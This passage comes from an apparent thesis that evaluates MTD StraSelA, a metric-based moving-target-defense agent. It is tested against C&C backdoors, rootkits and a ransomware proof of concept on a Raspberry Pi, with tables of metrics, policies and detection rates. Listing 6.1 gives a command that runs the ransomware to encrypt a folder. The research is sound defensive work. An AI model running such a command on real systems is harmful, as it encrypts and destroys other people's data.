1 dstat -t --cpu --mem --fs -d --disk -tps -n --tcp --socket

-y -p -N eth0 --output \$filename \$delay \

$observations

With the completion of the monitoring script, data collection could begin. This stage
resulted in 8 data sets: one with healthy behavior and 7 with malicious behavior. The
procedure below was followed:

1. Connect to Raspberry Pi (Server) via Secure Shell (SSH)

2. Stop all redundant SSH connections

3. Start MTD StraSelA

4. Start the monitoring script
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5. Wait for 2 minutes

6. Execute the Malware

7. Wait for 2 minutes (C&C and Rootkit) or 10 seconds (Ransomware)

8. Trigger the MTD technique

9. Wait for 2 minutes

10. Download the generated comma-separated values (CSV) file via SSH

Table 5.2: Dstat command: Flags and corresponding metrics
Flag Description Metrics Metric Type
-t Time/date output
–cpu Enable CPU stats usr, sys, idl, wai, hiq, siq CPU
–mem Enable Memory stats used, buff, cach, free Memory
–fs Enable file system stats files, innodes File system
-d Enable I/O transaction stats read, writ Disk
–disk-tps Enables I/O transactions stats reads, writs Disk
-n Enable Network stats resv, send Network
–tcp Enable TCP Connection stats lis, act, syn, tim, clo TCP Connection
–socket Enable Socket stats tot, udp, raw, frg Sockets
-y Enable Process stats int, csw Processes
-p Enable Process statsq run, blk, new Processes
-N eth0 Specifies the network interface
-output Write output to file
$filename Specifies the filename
$delay Specifies the delay between two observations
$observations Specifies the number of observations

Table 5.3: Dstat command: Metric description
Metric Description Unit Category Proc Path
usr CPU usage by user processes % CPU /proc/stat
sys CPU usage by system processes % CPU /proc/stat
idl Idle CPU usage % CPU /proc/stat
wai Number of waiting processes # CPU /proc/stat
hiq Number of hard interrupts # CPU /proc/stat
siq Number of soft interrupts # CPU /proc/stat
used Amount of used memory Bytes Memory /proc/meminfo
buff Amount of buffered memory Bytes Memory /proc/meminfo
cach Amount of cached memory Bytes Memory /proc/meminfo
free Amount of free memory Bytes Memory /proc/meminfo
files Number of allocated file handles # File system /proc/sys/fs/file-nr
inodes Number of used file handles # File system /proc/sys/fs/file-nr
read Amount of read bytes on disk Bytes Disk /proc/diskstats
writ Amount of written bytes on disk Bytes Disk /proc/diskstats
reads Number of read operations on disk # Disk /proc/diskstats
writs Number of read operations on disk # Disk /proc/diskstats
recv Amount of received bytes on eth0 Bytes Network /proc/net/dev
send Amount of received bytes on eth0 Bytes Network /proc/net/dev

lis
Number of TCP connections with status
”listening”

# TCP connections /proc/net/tcp

act
Number of TCP connections with status
”established” (active)

# TCP connections /proc/net/tcp

syn
Number of TCP connections with status
”syn sent”, ”syn receive” or ”last ack”

# TCP connections /proc/net/tcp

tim
Number of TCP connections with status
”waiting”

# TCP connections /proc/net/tcp

clo
Number of TCP connections with status
”fin-wait1/2”, ”close/ wait” or ”closing” (closed)

# TCP connections /proc/net/tcp

tot Number of total sockets # Sockets /proc/net/sockstat
tcp Number of TCP sockets # Sockets /proc/net/sockstat
udp Number of UDP sockets # Sockets /proc/net/sockstat
raw Number of RAW (using no protocol) sockets # Sockets /proc/net/sockstat
frg Number of FRAG sockets # Sockets /proc/net/sockstat
int Number of interrupts # Processes /proc/stat
csw Number of context switches # Processes /proc/stat
run Number of processes with status ”running” # Processes /proc/stat
blk Number of processes with status ”blocked” # Processes /proc/stat
new Number of processes with status ”new” # Processes /proc/stat
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step
P1: Healthy P2: Infected P3: Cleansed

51 - 4 76 8 9 10

P3: CleansedP2: InfectedP1: Healthy

Figure 5.1: Phases during observation

This process was done several times during July and August 2022. Figure 5.1 visualizes
the timeline, steps, and corresponding phases during the monitoring period. The final
data sets in Table 5.4 form the basis for the subsequent policy creation process.

Table 5.4: Data records as the basis for policy creation

No. Name Type
1 00 healthy Healthy
2 01 httpBackdoor Command and Control
3 02 backdoor Command and Control
4 03 The Tick Command and Control
5 04 BASHLITE Command and Control
6 05 Ransomware-PoC Ransomware
7 06 BEURK Rootkit
8 07 bdvl Rootkit

5.1.3 Data Analysis and Visualization

The next step consists of data analysis. To gain knowledge from the raw protocols
with system metrics entries obtained in the former paragraph, multiple data visualiza-
tion scripts in the form of Jupyter notebooks were written. First, the CSV data was
loaded, preprocessed, and saved as a data frame. Preprocessing entails formatting the
timestamp, removing the first line since it represents the average of the current uptime,
and removing outliers. Second, the actual visualization in the form of a time series was
performed: Each graph plots the system metric value (y-axis) concerning the time (x-axis).
The whole duration (x-axis range) amounts to six minutes, totaling 360 data points (1
observation per second). The entire time frame is divided into three phases: The healthy
phase at the beginning, the infected phase in the middle, and cleansed phase at the end.
Every malware data set splits these three phases equally into two minutes, except for the
ransomware, where we have 2 minutes healthy, 10 seconds infected and then 5 minutes and
50 seconds cleansed. This is because the ransomware encryption mechanism is a one-time
operation, so we need to shorten the second time frame to detect some anomalies during
its operation phase. Since most of the considered data show natural fluctuation, different
aggregation methods have been used to see trends and thresholds. In every subplot, there
are vertical markers in red and green that either highlight the malware’s activation or
the MTD technique’s execution. The top plot is a visual representation (blue graph) of
the metric for the time. The middle plot shows a rolling, non-overlapping average for
10 data points in black that shows stair tread characteristics and, the average over the
entire phase in magenta. The bottom plot only shows the average per phase in magenta.
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Figure 5.2: Example: Time series of the sys metric

A complete example of the system metric sys for the C&C malware ”httpBackdoor” is
shown in Figure 5.2. The main objective of this visualization was to prepare the policy
synthesis process and to develop a general understanding of system metrics data.

5.1.4 Structure and Rules of the Policy

After the insights of Section 5.1.1 and Section 5.1.3, the final step of the policy synthesis
could be implemented. The object of this synthesis is a defined set of simple IF −→ THEN
rules that define the conditions when an MTD has to be deployed. That means the
characteristics of these rules are the following:

IF metric M has CONDITION to threshold T
THEN trigger MTD N

A policy corresponding to one MTD might consist of multiple rules since certain mal-
ware types require multiple metrics to be proven. The CSV file contains a set of six
IF −→ THEN rules that form four distinct policies (Policy I to IV) for each MTD
(MTD1, MTD2, and MTD3). In the example, Policy I, which finally triggers MTD1,
contains only one rule. Policy II, also starting MTD1, has two rules for the metrics recv
and send. As soon as a policy consists of several rules, the question arises about how
many restrictions must apply to be sufficient for malware detection. At this moment,
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the determination of this ratio is not yet relevant for policy creation but only in agent
development. Consequently, this threshold ratio is only set in Chapter 5.2.

Table 5.5: Structure of the policies
IF THEN
Metric Relation Threshold MTD Policy
idl <= 50 MTD1 Policy I

recv <= 950 MTD1
Policy II

send <= 6000 MTD1

idl <= 60 MTD2
Policy III

sys >= 25 MTD2

usr >= 7 MTD3 Policy IV

One such IF −→ THEN rule can now be represented by different columns in a CSV file.
An example of the structure of these CSV files is shown in the Table 5.6.

Table 5.6: CSV Rules
Metric Relation Threshold MTD
idl <= 50 MTD1
recv <= 950 MTD1
send <= 6000 MTD1
idl <= 60 MTD2
sys >= 25 MTD2
usr >= 7 MTD3

5.1.5 Policy Synthesis

To create a good rule for a policy concerning one single metric, the course of this metric
has to fulfill two criteria: First, when triggering the malware, the metric has to differ
from the non-infected behavior systematically. This guarantees that the metric is an
indicator for this specific malware type. Second, the metric should take on its old value
when triggering the MTD. This proves that the MTD was successfully deployed and could
mitigate the malware. If both criteria are applicable, we have found a possible candidate
metric to build a rule for a policy.

If the considered metric shows the same behavior after the execution of the MTD, this
can indicate either that the MTD was unsuccessful or that the metric has changed its
value in the longer term. Regarding the latter, this concludes that this metric cannot
be a candidate because even if the MTD does neutralize the attack, the metric does not
provide the required information that the system acts under normal behavior again. It
can therefore happen that the MTD is triggered once again, unaware that the attack was
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Figure 5.3: Case distinction regarding the metrics tim, lis, clo and hiq

already mitigated but self-detecting the influence of the MTD. This can lead to an infinite
loop, which must be avoided.

Further, it is also possible that the malware does not influence the considered metric. If
that is the case, the metric cannot be considered an indicator for apparent reasons. Table
5.7 summarizes these findings. An example of the metrics tim, lis, clo and hiq is shown in
Figure 5.3. tim as a possible candidate metric, whereas lis, clo and hiq cannot be metric
candidates.

To create these IF −→ THEN rules, first, it had to be determined which metrics are
worth considering, given malware. According to Table 5.1, each malware type has a
specific attack pattern that influences different system parameters. For this purpose, a
new Table 5.8 is proposed, based on the gained insights of Table 5.1 and 5.7. Table
5.8 maps each considered system metric to a malware type and indicates if this metric is
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potential evidence regarding that malware. With the help of the acquired knowledge from
Table 5.8 and the data sets, the actual policy synthesis can now be done by performing
data analysis to find rules that consist of metric, relation, threshold, and MTD.

Table 5.7: Metrics candidates and their behavior after triggering malware and MTD

MTD
Malware

Change Stable

Change PC NC
Stable NC NC

PC=possible candidate, NC=non-candidate

Table 5.8: Considered metrics per malware

Malware Type
Metric Type Metric C&C RO RA RE

CPU

usr P P P D
sys P P P D
idl P P P D
wai P P P D
hiq P P P D
siq P P P D

Memory

used P P P D
buff P P P D
cach P P P D
free P P P D

File system
files P P P D
inodes P P P D

Disk

read P P P D
writ P P P D
reads P P P D
writs P P P D

Network
recv P P D P
send P P D P

TCP Connections

lis P P D P
act P P D P
syn P P D P
tim P P D P
clo P P D P

Sockets

tot P P D P
tcp P P D P
udp P P D P
raw P P D P
frg P P D P

Processes
int P P P D
csw P P P D

Processes
run P P P D
blk P P P D
new P P P D

RO=Rootkit, RA=Ransomware, RE=Reconnaissance
P=Potential Indicator, D=Doubtful Indicator

In the final step during the policy creation process, the plots for the malware ”Ransomware-
PoC”, ”BEURK” and ”httpBackdoor” were analyzed and compared in an expert-based
approach to find possible candidates 5.7. After an intensive study of the different plots
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and experimental fine-tuning of each policy, the following policy database was proposed
5.9. Therefore, the set of metrics this thesis is offering includes all metrics that are used in
the policy database, thus idl, sys, usr, writ, writs, new and recv. Of the initial 33 system
metrics, seven were used in policies, which corresponds to approximately 21%.

Table 5.9: Policy database
Metric Condition Threshold MTD
idl <= 50 MTD1
sys >= 24 MTD1
usr >= 10 MTD1
writ >= 200000 MTD1
writs >= 20 MTD1
tim >= 6 MTD2
new >= 17 MTD3
recv >= 2500 MTD4

5.2 Selection Agent

The proposed strategy selection agent works as follows: Observing the complete set of
system metrics elaborated in the Table 5.8, the MTD Strategy Selection Agent MTD
StraSelA waits 10 seconds and calculates the average of the last ten observations. To do
so, the observer component must do some data cleaning and preprocessing.

The observer component provides a system metrics vector of length 33 to the policy
component. Equipped with the policy database, the policy component can then iterate
over the input vector and check if a corresponding rule exists for the actual metric in the
database. If such a rule exists, the rule consisting of metric, sign, threshold, and MTD
technique can be evaluated: The rule either applies or not, such that a corresponding
value will be incremented in the MTD indicator. Each evaluation is recorded by the
observer component in the observer.log file. In the end, the indicator contains two integers
corresponding to the number of positive (rule evaluated as accurate) and negative (rule
considered as false) occurrences for each policy.

The policy component makes the actual decision on which MTD should be deployed: By
calculating the percentage of positive concerning total occurrences (rules evaluated as true
plus rules considered as false), it determines the policy with the highest ratio and prepares
the MTD command for the deployer component. The corresponding MTD is deployed if
this ratio is more significant or equal to 0.6.

The deployer component is activated in such a case, and the MTD command is executed.
Furthermore, the deployer component keeps a log file called deployer.log with different
timestamps, one for triggering the MTD and one as soon as the MTD has successfully
deployed. After the execution, the deployer component waits for 60 seconds. This is crucial
since the system needs some time to recover to its old healthy condition. If there is no
maintenance or too short a period, the observer could detect its own MTD mechanisms
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and what to avoid. A complete sequence for the detection cycle is illustrated in Figure
5.4.

Observe system
for 10 seconds

Evaluate policy
datebase

threshold ≥ 0.6 ?
No

Yes

Deploy MTD

Recover for 60
seconds

Figure 5.4: Complete detection cycle of MTD MTD StraSelA



Chapter 6

Evaluation Scenario and Experiments

The following evaluation part of this thesis has four parts. First, MTD StraSelA is tested
for each malware individually to evaluate the detection time and the defensive behavior.
Second, the detection rate ofMTD StraSelA is analyzed. Third, MTD StraSelA is exposed
to a mix of three malware to simulate attack situations in the real-world. Finally, the
overhead of MTD StraSelA is evaluated.

The general setup for the individual evaluation was the following: MTD StraSelA was
installed on the system and used policy-db.csv, the policy database. Five seconds before
the actual measurements, the MTD StraSelA was started. For each malware, a fresh
image was used. Each malware was triggered after two minutes, and potential downloads
were started after a further 30 seconds. With the monitoring script, a complete sequence
of 6 minutes, which corresponds to 360 data points, was recorded. For each malware, the
victim, a Raspberry Pi armed with MTD StraSelA, is regarded as the client, whereas the
attacker, a desktop computer running Ubuntu 20.04, is represented as the server.

When triggering ”httpBackdoor”, the Python attack script httpBackdoor attack script.py
was launched on the attacker server after the httpBackdoor.py was started on the client.
The attacker sends commands to the server at a random time interval. Regarding ”The
Tick” and ”backdoor”, the server can start an arbitrary download on the client using
a simple command. This can be any malicious software in the real-world, but for this
testbed, the Python binary 3.10.6 was used. ”BASHLITE” was slightly modified, such
that the server sends a ”PING” not every 60 but every 10 seconds and that the client
logs every incoming ”PONG” into a file. Both rootkits, ”BEURK” and ”bdvl”, were exe-
cuted by a specific sequence of commands on the client. Using ”bdvl”, the server could
start compromising the system by opening a backdoor or other malicious actions. The
”Ransomware-PoC”encrypts the folder ”sample-data” that has a size of 386 MB on /root/
that contains various folders with files: 21.4 MB audio files, 136 KB code files, 7.11 MB
document files, 62.8 MB images, 24.5 MB video files, and 269.7 MB zip archives. To start
”Ransomware-PoC” Command 6.1 was executed.

Listing 6.1: ”Ransomware-PoC” command

1 python3 main.py -p "/root/sample -data" -e

29
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During the mixed evaluation, the attacker script evaluation attack script.py was launched
on the Raspberry Pi that triggered a specific sequence of three concrete malware: First,
the rootkit ”BEURK”, then ”Ransomware-PoC”and finally ”httpBackdoor” from the C&C
family. A whole sequence of 10 minutes, which is equal to 600 data points, was recorded
with the monitoring script. The attacker script did trigger the first malware after 60
seconds, but from then on, no predefined timestamps were used. If the attacker script can
perform a successful attack, meaning no interruption, it will wait for 60 seconds before it
launches the next attack. If the script gets interrupted, hence the attack is inhibited; the
hand will wait 60 seconds and then go to the next attack.

The interrelationship of malware and associated countermeasures implemented as MTD
techniques from the MTDFramework [14] can be explained as follows: MTD 1, corre-
sponding to CreateDummyFiles.py, mitigates a ransomware attack by generating honey
files in a specific directory that acts as a dummy file such that sensitive files are less likely
to get encrypted, and it also seeks the corresponding ransomware process and terminates
it by calling KillProcess.py. After the ransomware attack, a script is executed to list the
folder contents to see which files are encrypted and unharmed. MTD 1 is connected to
the idl, sys, usr, writ and writs metrics. To counter C&C attacks, MTD 2 implemented
in ChangeIpAddress.py undertakes an IP shuffle. Shuffling the IP results in a lost con-
nection for the C&C server. MTD 4 also performs the exact same IP shuffle by executing
ChangeIpAddress.py, but they do not have the same policy: MTD 2 corresponds to the
tim metric, whereas MTD 4 includes the recv metric. MTD 3 is the countermeasure for
both rootkits, ”BEURK” and ”bdvl”. Triggering MTD 3 corresponds to calling Remove-
Rootkit.py, executes a command that replaces a compromised ld.so.preload file. Table 6.1
summarizes these interrelationships.

Table 6.1: Malware and MTD mitigation
MTD Metrics Malware Description Command

1

idl, sys,
usr,
writ,
writs

R-P

Create dummy
files
Kill ransomware
process

python3 CreateDummyFiles.py
–path=/root/sample-data
–numberOfDummyFiles=30
–numberOfDummyFilesPerSubdirectory=15
–size=10 –extension=pdf

2 tim hB, B IP shuffling python3 ChangeIpAddress.py

3 new be,bd
Replace
ld.so.preload

python3 RemoveRootkit.py

4 recv tt, ba, B IP shuffling python3 ChangeIpAddress.py
tt=”The Tick”, ba=”backdoor”, hB=”httpBackdoor”, B=”BASHLITE”,

R-P=”Ransomware-PoC”,
be=”BEURK”, bd=”bdvl”

The detection rate evolution was conducted as follows: MTD StraSelA was slightly mod-
ified such that the deployer component triggered no MTD strategy since we are only
interested in the pure detection rate. The history length was adjusted to two, and ob-
servation took 200 seconds. For both ”backdoor” and ”The Tick”, the connection was
established five seconds before the download was started at the trigger point one sec-
ond before MTD StraSelA was started, whereas the other malware examples were also
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triggered in that second. Additionally, the monitoring script was started also 5 seconds
before MTD StraSelA was activated. As for the individual evaluation, the policy-db.csv
was used and for each malware, a freshly installed system was used. For the download,
not the Python binary 3.10.6 was used but the Ubuntu 22.04 image, due to the reason
that the larger download takes optimally the whole 200 seconds to finish.

6.1 Individual Evaluation

6.1.1 Case Study C&C

For ”httpBackdoor”, MTD StraSelA detects the attack after 26 seconds (green line) and
deploys the correct MTD that changes the IP address. The deployment took 8.94 seconds.
Regarding the metric tim, approximately 60 seconds after the finished deployment, the
system has conformed to normal behavior. Moreover, it can be shown that the metric
recv is not influenced by the malware but by the MTD. Both of metrics are visualized in
Figure 6.1.
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Figure 6.1: Analysis of the metrics tim and recv under the influence of ”httpBackdoor”

Looking at MTD StraSelA under the attack of ”The Tick”, MTD StraSelA overreacts
and triggers an MTD twice before the actual attack was launched. First, the metric tim
triggers MTD 2 at 07:48:20 which means 20 seconds after starting the observation. This
first deployment took 10.33 seconds. At 07:49:54, MTD 4 was launched and deployed in
8.82 seconds, because recv exceeded the critical threshold of 2500 (5678). After triggering
the malware at 07:50:00 and initiating the download at 07:50:30, the correct MTD 4 was
triggered at 07:52:34 again due to the threshold corresponding to the metric recv, which
means it took roughly 2 minutes to detect the download. Executing MTD 4 for the second
time took 9.01 seconds. Figure 6.2 illustrates these statements.
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Figure 6.2: Analysis of the metrics tim and recv under the influence of ”The Tick”

The third C&C malware, ”backdoor”, was correctly detected by MTD StraSelA. When the
download was started at 08:10:30, after 8 seconds the deployment of MTD 4 was ordered.
It took 9.02 seconds to execute MTD 4 and 6.3 shows that recv normalized quickly.
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Figure 6.3: Analysis of the metrics tim and recv under the influence of ”backdoor”
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Unfortunately, MTD StraSelA was not able to detect ”BASHLITE”, the last C&C soft-
ware. Hence, we just have a healthy and an infected phase, but no cleansed phase, which
is demonstrated in Figure 6.4. There is little to no difference around the malware trigger
point (solid red line). No significant change could be detected in either the recv nor tim
metrics.
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Figure 6.4: Analysis of the metrics tim and recv under the influence of ”BASHLITE”

6.1.2 Case Study Ransomware

MTD StraSelA was able to detect the ransomware after 26 seconds. The deployment of
MTD 1 took 143.3 seconds. After 10 further seconds, the behavior has normalized. A
total of 39 files have been encrypted, which is 42.4% of all files. No honey files were
encrypted. Regarding the volume, 68.1% have been encrypted, which is illustrated in
Figure 6.5. That means, MTD StraSelA was able to protect and save about one-third of
the data volume. The Figure 6.6 shows the behavior of the metrics that can determine a
ransomware attack.
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Figure 6.5: Damage analysis of ”Ransomware-PoC” during the individual evaluation
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6.1.3 Case Study Rootkit

Facing ”BEURK”, MTD StraSelA could successfully detect and trigger the corresponding
MTD 3. After 4 seconds, the MTD was deployed and this operation took 0.3 seconds.
The System could recover within 30 seconds, which can be seen in Figure 6.7. ”bdvl” has
behaved similarly to ”BEURK”: MTD 3 was triggered 4 seconds after the rootkit was
launched, and the execution of the MTD took 0.25 seconds. At the time of the execution,
the criteria for triggering MTD 4 were also full-filled, but since only one MTD can be
triggered at a time, MTD 4 was not triggered. The execution hierarchy was given by the
names of the MTDs.
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Figure 6.7: Analysis of the metrics new under the influence of ”BEURK” and ”bdvl”

Table 6.2 lists the relevant times regarding detection and deployment. For ”The Tick”and
”backdoor”, the detection time relates to the download trigger point and the number inside
the braces refers to the malware trigger point. The detection time ranges from 4 seconds
up to 124 seconds, and the deployment time from 0.25 seconds up to 143.78 seconds. Since
our detection windows amount to 10 seconds, we can estimate the number of iterations
based on the detection time: ”BEURK”, ”backdoor” and ”bdvl” can be detected in one
iteration (< 10 seconds), ”Ransomware-PoC” and ”httpBackoor” need about two to three
iterations (< 30 seconds) and ”The Tick” was detected in around 13 iterations (< 130
seconds).
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Table 6.2: Detection time
Trigger point Time interval
Malware Download MTD MTD Detection (s) Deployment (s)

”Ransomware-PoC” 07:15:00 - 07:15:26 1 26 143.78
”httpBackdoor” 07:26:00 - 07:26:26 2 26 8.94
”BEURK” 07:38:00 - 07:38:04 3 4 0.3
”The Tick” 07:52:00 07:50:30 07:52:34 4 124 (154) 9.01
”backdoor” 08:10:00 08:10:30 08:10:38 4 8 (38) 9.02
”bdvl” 08:22:00 - 08:22:04 3 4 0.25s
”BASHLITE” 08:32:00 - - - - -

6.2 Detection Rate

The results of this detection rate analysis are shown in Table 6.5, which lists the different
detection rates for the corresponding policies. Each policy has four subgroups: True
Positive Rate (TPR), False Positive Rate (FPR), True Negative Rate (TNR), and False
Negative Rate (FNR). A detailed explanation is provided in Table 6.4. The conducted
data is summarized in Table 6.3.

Table 6.3: Detection Analysis: Raw data
Actions

Name MTD Start End 1 2 3 4 - Total
Healthy - 08:54:00 08:57:20 0 0 2 0 81 83
”Ransomware-PoC” 1 09:13:00 09:16:20 20 0 1 1 59 79
”httpBackdoor” 2 09:24:00 09:27:20 0 81 2 3 2 84
”BEURK” 3 09:31:00 09:34:20 0 0 3 1 79 83
”backdoor” 4 10:26:00 10:29:20 65 0 3 78 0 78
”BASHLITE” 2, 4 10:34:00 10:37:20 0 0 2 1 80 83
”The Tick” 4 10:43:00 10:46:20 62 0 1 74 0 74
”bdvl” 3 10:55:00 10:58:20 1 0 4 2 69 75

Table 6.4: Detection Analysis: Description of different evaluation Metrics
Metric Description Definition
True Positive
Rate (TPR)

Ratio of correct execution of MTDi

in case of the actual occurrence of malwarei
TP

TOTAL

False Negative
Rate (FNR)

Ratio of incorrect non-execution of MTDi

in case of the actual occurrence of malwarei
FN

TOTAL
= 1− TPR

False Positive
Rate (FPR)

Ratio of incorrect execution of MTDi

in case of the absence of the malwarei
FP

TOTAL

True Negative
Rate (TNR)

Ratio of correct non-execution of MTDi

in case of the absence of malwarei
TN

TOTAL
= 1− FPR

Policy 1 does have a 25.42% TPR for ”Ransomware-PoC” and does have a low (”bdvl”)
to perfect (healthy, ”httpBackdoor”, ”BEURK”, and ”BASHLITE”) TNR except for the
malware ”backdoor” and ”The Tick”: For both, policy 1 has a TNR of only 16.67%.
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With TPRs of 96.43% for ”httpBackdoor” but a 0% for ”BASHLITE”, Policy 2 has evi-
dently clear strengths and weaknesses. Remarkably, it is the only Policy that has a perfect
TNR score for all malware subjects and the non-infect healthy behavior.

Considering Policy 3, the performance for ”BEURK”and ”bdvl” is pretty low with a TPR
of 3.61% and 5.33% respectively. The TNRs for Policy 3 are relatively high and range
from 96.15% (”backdoor”) to 98.73% (”Ransomware-PoC”).

Lastly, Policy 4 has a perfect TPR for ”backdoor” and ”The Tick” but was majority
incapable to detect ”BASHLITE” (only 1.2% TPR). Looking at the TNR, Policy 4 does
obtain achieve reasonably high values, namely from 96.43% (”httpBackdoor”) up to perfect
for the healthy subject.

Table 6.5: Detection Rate

Malware
Policy

P1 P2 P3 P4 P1 P2 P3 P4

healthy TPR (%) TNR (%) 100 100 97.59 100
FNR (%) FPR (%) 0 0 2.41 0

”Ransomware-PoC” TPR (%) 25.32 TNR (%) 100 98.73 98.73
FNR (%) 74.68 FPR (%) 0 1.27 1.27

”httpBackdoor” TPR (%) 96.43 TNR (%) 100 97.62 96.43
FNR (%) 3.57 FPR (%) 0 2.38 3.57

”BEURK” TPR (%) 3.61 TNR (%) 100 100 98.80
FNR (%) 96.39 FPR (%) 0 0 1.20

”bdvl” TPR (%) 5.33 TNR (%) 98.67 100 97.33
FNR (%) 94.67 FPR (%) 1.33 0 2.67

”backdoor” TPR (%) 100 TNR (%) 16.67 100 96.15
FNR (%) 0 FPR (%) 83.33 0 3.85

”The Tick” TPR (%) 100 TNR (%) 16.22 100 98.65
FNR (%) 0 FPR (%) 83.78 0 1.35

”BASHLITE” TPR (%) 0 1.20 TNR (%) 100 97.59
FNR (%) 100 98.80 FPR (%) 0 2.41

TPR=True Positive Rate, FPR=False Positive Rate
TNR=True Negative Rate, FNR=False Negative Rate

6.3 Mixed Evaluation

For the mixed evaluation, every malware was correctly identified, and the corresponding
MTD could be deployed successfully. The state of the system can be divided into 10 phases
which are defined by 9 key moments: From 08:43:00 to 08:44:00 we have the healthy phase
(1), where correctly no MTD was triggered. At 08:44:00, the first malware, ”BEURK”,
was executed. From 08:44:00 to 08:44:07, we have the detection phase of ”BEURK” (2).
At 08:44:07, the system triggers MTD 3, which took 0.33 seconds. Hence, this short
time frame of 0.33 seconds is the deployment phase of MTD 1 (3). The attacker script
evaluation attack script.py pauses now for 60 seconds, such that we have the cleansed
phase from ”BEURK” (4).
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At 08:45:07, the attacker script launched the ransomware, so we have a detection phase
of ”Ransomware-PoC” from 08:45:07 to 08:45:18 (5). MTD StraSelA triggers at 08:45:18
MTD 1 to mitigate the ransomware attack, and it finishes its actions at 08:47:42, what the
end of the deployment phase of MTD 1 (6) means. The next attack, namely ”httpBack-
door” is launched at 08:48:23, which gives us the cleansed phase from ”Ransomware-PoC”
(7) from 08:47:42 to 08:48:23. The detection phase of ”httpBackdoor” (8) starts from
08:48:23 and ends at 08:48:53. At this moment, MTD 2 is deployed, leading to a deploy-
ment phase of MTD 2 (9) from 08:48:53 to 08:49:02. From 08:49:02 to the end of the
observation (08:53:00), the final cleansed phase for ”httpBackdoor” (10) took place. Table
6.6 summarizes the findings of this paragraph.

Table 6.6: Timeline mixed attacks
No Status Phase Start End Duration (s) Description
1 healthy healthy 08:43:00 08:44:00 60 pause
2 infected detection b 08:44:00 08:44:07 7 trigger r
3 infected deployment b 08:44:07 08:44:07 0.33 MTD 3
4 healthy cleansed b 08:44:07 08:45:07 60 pause
5 infected detection r 08:45:07 08:45:18 11 trigger r
6 infected deployment r 08:45:18 08:47:42 143.44 MTD 1
7 healthy cleansed r 08:47:42 08:48:23 41 pause
8 infected detection h 08:48:23 08:48:53 30 trigger h
9 infected deployment h 08:48:53 08:49:02 9.07 MTD 2
10 healthy cleansed h 08:49:02 08:53:00 238 pause

b=”BEURK”, r=”Ransomware-PoC”, h=”httpBackdoor”

Figure 6.8 is a visualization of the four metrics idl, usr, writ and writs. The metrics idl and
usr significantly change in the detection phase of ”Ransomware-PoC”, which is indicated
by the second red-colored segment. As soon as the deployment phase, depicted in green
color, starts, the difference becomes even clearer. The metrics writ and writs now deviate
as well strongly from their previous behavior. This is clearly due to the activated MTD
1, which corresponds to the second green-colored segment. As soon as the deployment
phase of MTD 1 is finished, the device status returns to normal.
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Figure 6.8: Mixed evaluation: Behavior of the CPU relevant metrics idl and usr, as well
as the disk relevant metrics writ and writs

Looking at Figure 6.9, MTD StraSelA’s behavior regarding ”httpBackdoor”and ”BEURK”
can be understood: During the detection phase of ”httpBackgroound”, the last red-colored
segment, the metrics tim records a significant increase. The system detects the malware
and initiates the deployment phase of MTD 2, the last green segment. Shortly after that,
the behavior normalizes. The metric new changes abruptly and also the deployment phase
of MTD 3 is almost instantaneous, such that the first green and red segments are almost
not visible.
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Figure 6.9: Mixed evaluation: Behavior of the network relevant metrics send and recv, as
well as the TCP connections relevant metrics tim processes related and new
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”Ransomware-PoC” encrypted 38 regular and 0 honey files, which means 41.3% of all
the total files have been encrypted. The volume of these files amounts to 64.8%. An
illustration of this result can be found in figure 6.10. In the mixed evaluation, MTD
StraSelA was also able to secure approximately one-third of the data volume.
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Figure 6.10: Damage analysis of ”Ransomware-PoC” during the mixed evaluation

6.4 Overhead Evaluation

The last part of the evaluation is dedicated to an overhead analysis: Is MTD StraSelA
resource-efficient? To answer this, two data sets at 10 minutes each were collected, one
with no running MTD StraSelA and one with active MTD StraSelA. No malware was
triggered during that period since only the impact of the agent was of interest. It should
also be noted that in that particular evaluation, MTD StraSelA did not trigger any MTD;
this branch was simply commented out to make sure that only the overhead of the agent
was measured and not the influence of any MTD technique deployment. Both Figures,
Figure 6.11 and Figure 6.12, visualize the metrics usr, idl, and run in the aforementioned
conditions. This data was aggregated and the average value for multiple evaluation metrics
was compared: Regarding CPU-relevant metrics, MTD StraSelA caused an increase of
16% in the usr activity. This seems to be a lot since the sys activity only decreased by
6.6% and the idl activity marginally increased by 1.2%. A comparison of the memory
values makes it clear that MTD StraSelA needs about 73.77 MB of RAM, resulting in
a 2.08% decrease. Lastly, the comparison showed that running MTD StraSelA resulted
in 3.57 active processes on average at a time, compared to 3.19 on average for the base
system. The increase is therefore 14.9%. Table 6.7 summarizes the findings.
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Figure 6.11: Overhead analysis regarding the usr and idl metrics: System without MTD
StraSelA on the left, running MTD StraSelA on the right
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Figure 6.12: Overhead analysis regarding the run metric: System without running MTD
StraSelA on the left, running MTD StraSelA on the right
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Table 6.7: MTD StraSelA Overhead Analysis
Metric Normal avg MTD StraSelA avg Absolute change Relative change (%)
usr 2.91% 3.4% 0.9% 16.0
sys 21.29% 19.9% 1.6% -6.6
idl 75.74% 76.7% -2.6% -1.2
free 3539.35 MB 3465.58 MB -73.77 MB -2.08
run 3.19 3.67 0.48 14.9

6.5 Discussion

The individual evaluation suggests that in general, it is possible to detect malware based
on a system metrics and mitigate the attacks using MTD. The most vivid example is
probably ”Ransomware-PoC”, where almost 30% of the data could be secured. However,
with the reference to ”BASHLITE”, there exists malware that are much harder to detect.
More specifically, no set of metrics could be provided for ”BASHLITE” such that the
attack could be recognized and neutralized. That means everything depends on the set of
metrics: If the impact, more precisely the system metric and the concrete change in form
of an exact threshold, of a malware type on the victim system can be accurately converted
into a fingerprint in the form of a collection of system parameters, then it is possible to
detect the malware using MTD StraSelA and eventually mitigate it. A classification of
these suitable metrics is provided in Chapter 5.1.5.

Another challenge is based on the fact, that certain malware behaves mostly statically:
For ”The Tick” and ”backdoor”, the Policy 4 was successful, but only because a large
download was triggered. It is highly questionable whether a real attacker would actually
cause such a large load. Both of the rootkits, ”BEURK” and ”bdvl” were only launched,
and no further actions were taken by the malware. The actual installation was detectable
and could be mitigated by MTD StraSelA, but there is no policy provided for its active
but sleeping behavior.

The temporal aspect also harbors some inadequacies: First, MTD StraSelA rests for 60
seconds, whenever an MTD was deployed. The agent needs this time, to recover and to
restore its usual behavior. During this time, the system is highly vulnerable because the
detection is paused. Further, the history length of 10 is a time frame, where a lot of
damage can already be done. In addition, Table 6.2 shows that besides ”BEURK” and
”bdvl”, all MTD StraSelA needs more than one iteration to detect malicious behavior.

From the mixed evaluation it can be concluded that MTD StraSelA is technically able to
deal with multiple attacks in a sequence: It was able to identify correctly and mitigate the
attacks. Nevertheless, the same aforementioned reservations apply. Next, an investigation
of the overhead ofMTD StraSelA shows that the actual agent, without taking into account
any deployments of MTD behaves in a resource-efficient manner: MTD StraSelA runs a
